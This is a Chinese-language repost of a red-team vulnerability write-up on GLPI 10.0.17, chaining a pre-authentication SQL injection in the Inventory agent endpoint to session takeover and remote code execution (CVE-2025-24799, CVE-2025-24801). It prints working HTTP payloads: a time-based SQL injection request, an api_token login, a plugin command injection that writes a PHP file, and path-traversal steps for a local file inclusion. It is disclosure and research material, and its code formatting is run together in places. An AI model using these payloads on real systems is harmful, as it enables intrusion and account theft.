在红队交战期间,已经发现了几个GLPI实例。该软件在法语公司中很受欢迎,其中一些公司甚至直接在互联网上公开其实例。众所周知,GLPI 历史上隐藏着多个易于发现的漏洞,而且由于它通常与 Active Directory 相连,因此在红队交战或内部基础设施审计中发现此应用程序上的漏洞可能会导致对内部网络的初始访问和 Active Directory 帐户的恢复。
预认证 SQL 注入
过去曾报告过 GLPI 上的多起 SQL 注入。其中大多数被认为是后认证的,需要帐户才能触发漏洞 (1) (3) (4)。可预认证的漏洞非常罕见 (2) (5),并且已在外部侦察阶段发现的实例上进行了修补。
在 GLPI 的 Inventory 原生功能(通常启用)中发现了新的 SQL 注入。此功能无需任何身份验证机制即可访问。
在撰写本文时,10.0.17这是最新稳定版本,并将使用它作为示例,但该漏洞可能会影响以前的版本。
handleAgent()-10.0.17
handleAgent发现的功能是/src/Agent.phpGLPI 代理用于库存目的的可访问预身份验证功能。
<?phppublicfunctionhandleAgent($metadata){/** @var array $CFG_GLPI */global $CFG_GLPI; $deviceid = $metadata['deviceid']; $aid = false;if ($this->getFromDBByCrit(Sanitizer::dbEscapeRecursive(['deviceid' => $deviceid]))) { $aid = $this->fields['id']; }
此函数接受用户输入并将其存储到变量中,例如,然后从10.0.7 版开始经过清理函数后$deviceid传递给函数。getFromDBByCrit
dbEscapeRecursive
dbEscapeRecursive() - 10.0.17
<?phppublicstaticfunctiondbEscapeRecursive(array $values): array{return array_map(function($value){if (is_array($value)) {returnself::dbEscapeRecursive($value); }if (is_string($value)) {returnself::dbEscape($value); }return $value; }, $values ); }
此函数以数组作为输入,并递归调用dbEscape以转义其输入,此处的漏洞很容易被捕获。如果我们可以发送一个既不是array也不是 的值会怎么样string?
handleRequest()-10.0.17
在handleRequest用于解析代理请求的函数中,可以使用XML和JSON两种方法执行代理请求。
<?phpswitch ($this->mode) {caseself::XML_MODE:return$this->handleXMLRequest($data);caseself::JSON_MODE:return$this->handleJSONRequest($data); }
虽然JSON_MODEonly 执行快速json_decode,但它只能创建string
、array
、integer
和stdClass对象(实际上不具备__toString函数)。但是 会根据用户输入XML_MODE创建一个对象。SimpleXMLElement
<?phppublicfunctionhandleXMLRequest($data): bool{ libxml_use_internal_errors(true);if (mb_detect_encoding($data, 'UTF-8', true) === false) { $data = iconv('ISO-8859-1', 'UTF-8', $data); } $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA);
这是绕过该函数的完美候选dbEscapeRecursive,因为它是一个可以轻松转换为字符串的对象。
php > $xml = simplexml_load_string('<test>a</test>');php > var_dump($xml);object(SimpleXMLElement)#2 (1) { [0]=> string(1) "a"}php > var_dump($xml."toString");string(9) "atoString"
最终请求
为了利用此漏洞,需要精心设计对代理请求端点的 XML 请求,并导致可使用简单的基于时间的攻击进行 SQL 注入。
POST/index.php/ajax/ HTTP/1.1Host: glpiUser-Agent: python-requests/2.32.3Content-Type: application/xmlContent-Length: 232<?xml version="1.0" encoding="UTF-8"?><xml><QUERY>get_params</QUERY><deviceid>', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#</deviceid><content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content></xml>
请求耗时5秒,SQL查询已正确注入。
需要注意的是,数据库的结构在不同版本之间会有所变化。因此,上述查询中的列数可能会有所不同。
利用数据库读取来绕过身份验证
既然read已经获得了数据库的权限,那么就有多种方法可以获取有效会话。最明显的方法是从数据库中恢复帐户并尝试破解密码。但是,由于密码是使用 存储的bcrypt,因此恢复技术人员或超级管理员帐户的明文可能是一项挑战。
api_token
如果api_token在数据库中设置了帐户的,则可以使用它轻松获取有效会话并通过 API 身份验证方法访问 GLPI 的 GUI。
<?phpPOST /glpi/front/login.php HTTP/1.1Host: <redacted>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0Content-Type: application/x-www-form-urlencodedContent-Length: 212Origin: http://<redacted>Connection: keep-aliveReferer: http://<redacted>/glpi/index.phpredirect=&_glpi_csrf_token=<redacted>&field<redacted>=test&field<redacted>=test&auth=local&submit=&user_token=<api_token>
然后,服务器使用可用于访问 GUI 的有效 cookie 进行应答。
Set-Cookie: glpi_<redacted>=<redacted>; path=/
个人令牌
此令牌用于日历功能,允许您使用唯一令牌共享个人日历。此令牌使用该Session::authWithToken方法验证会话,然后在打印用户日历后销毁会话。
以前,可以通过personal_token在脚本结束执行之前强制出现致命错误来恢复模拟会话。自 10.0.9 版起,通过将选项设置session.use_cookies为 ,此问题已得到缓解0。
经过身份验证的远程代码执行
方法 1:市场
一旦管理员帐户被攻破,获取远程代码执行的最简单方法是进入插件市场。它甚至曾经托管过一个“Shell 命令”插件,但后来被禁用远程安装,然而,仍然有大量易受攻击的插件。
有时,GLPI 服务器无法直接访问互联网,但是可以从管理界面配置代理服务器,攻击者可以利用这一点,例如通过设置自己的代理服务器或配置公司内部代理。
例如,公共插件printercounters仍然容易受到系统命令注入的攻击。
POST/glpi/marketplace/printercounters/ajax/process.php HTTP/1.1Host: <redacted>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Glpi-Csrf-Token: <redacted>X-Requested-With: XMLHttpRequestContent-Length: 266Connection: keep-aliveReferer: http://<redacted>/glpi/marketplace/printercounters/front/config.form.phpCookie: glpi_<redacted>=<redacted>; stay_login=0action=killProcess&items_id=1231231';echo `{echo,PD9waHAgcGhwaW5mbygpOyA/Pg%3d%3d}|{base64,-d}|{tee,rz.php}`;%23
方法 2:本地文件包含 - 10.0.17
PDF 导出功能中还发现了本地文件包含。此功能允许管理员使用库将各种表格导出为 PDF 格式TCPDF。可以在配置条目中设置自定义 PDF 字体pdffont(通过超级管理员帐户全局更改,或由任何帐户通过其用户配置文件中的个性化选项进行更改),但未正确检查目录遍历,无论是从GLPI还是从TCPDF侧面。
PDF 字体只是存储在 TCPDFfonts文件夹中的 php 文件,由于此问题,如果字体名称受到控制,则有可能包含来自系统的任何 PHP 文件。
<?phpif (TCPDF_STATIC::empty_string($fontfile) OR (!@TCPDF_STATIC::file_exists($fontfile))) {// build a standard filenames for specified font $tmp_fontfile = str_replace(' ', '', $family).strtolower($style).'.php'; $fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);if (TCPDF_STATIC::empty_string($fontfile)) { $missing_style = true;// try to remove the style part $tmp_fontfile = str_replace(' ', '', $family).'.php'; $fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir); } }// include font fileif (!TCPDF_STATIC::empty_string($fontfile) AND (@TCPDF_STATIC::file_exists($fontfile))) { $type=null; $name=null; $desc=null; $up=-null; $ut=null; $cw=null; $cbbox=null; $dw=null; $enc=null; $cidinfo=null; $file=null; $ctg=null; $diff=null; $originalsize=null; $size1=null; $size2=null;include($fontfile);
PHP 被添加到允许的文件扩展名。
总之:
-
更新文档类型下拉列表以允许php扩展
-
恢复GLPI_TMP_DIR位置/front/config.form.php
-
使用以下方式上传 PHP 文件/ajax/fileupload.php
-
将pdffont配置设置为../../../../../../../../{GLPI_TMP_DIR}/uploadedfile
-
例如,通过将表导出为 PDF 来触发本地文件包含/front/report.dynamic.php?item_type=Computer&sort%5B0%5D=1&order%5B0%5D=ASC&start=0&criteria%5B0%5D%5Bfield%5D=view&criteria%5B0%5D%5Blink%5D=contains&criteria%5B0%5D%5Bvalue%5D=&display_type=2
已实现远程代码执行
结论
中的库存功能GLPI容易受到未经身份验证的 SQL 注入攻击。虽然此功能默认未启用,但在我们红队评估期间遇到的大多数(如果不是全部)安装中,此功能都已启用。
通过利用此漏洞,就可以通过数据库中以明文形式存储的api_token或personal_token列(如果先前已设置)获得有效的 GUI 会话。
一旦通过身份验证,就可以利用 PDF 导出功能利用本地文件包含漏洞,并在存在漏洞的实例上实现远程代码执行。
时间线
-
2024-12-25 - 发现漏洞
-
2025-01-28 - 通过以下方式报告漏洞Github Advisories
-
2025-01-28 -GLPI验证报告并分配CVE-2025-24801(执行代码à距离)
-
2025-01-28-GLPI验证报告并分配CVE-2025-24799(注入 SQL)
-
2025-02-12 - 发布修补版本10.0.18
-
2025-03-12 - 文章发布
资源
-
https://blog.quarkslab.com/exploiting-glpi-during-a-red-team-engagement.html
-
https://www.synacktiv.com/ressources/advisories/GLPI_9.3.3_SQL_Injection.pdf
-
https://github.com/glpi-project/glpi/security/advisories/GHSA-p626-hph9-p6fj
-
https://sensepost.com/blog/2024/from-a-glpi-patch-bypass-to-rce/
-
https://github.com/glpi-project/glpi/security/advisories/GHSA-v799-2mp3-wgfr
原文始发于微信公众号(Ots安全):GLPI 中的预认证 SQL 注入到 RCE(CVE-2025-24799/CVE-2025-24801)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论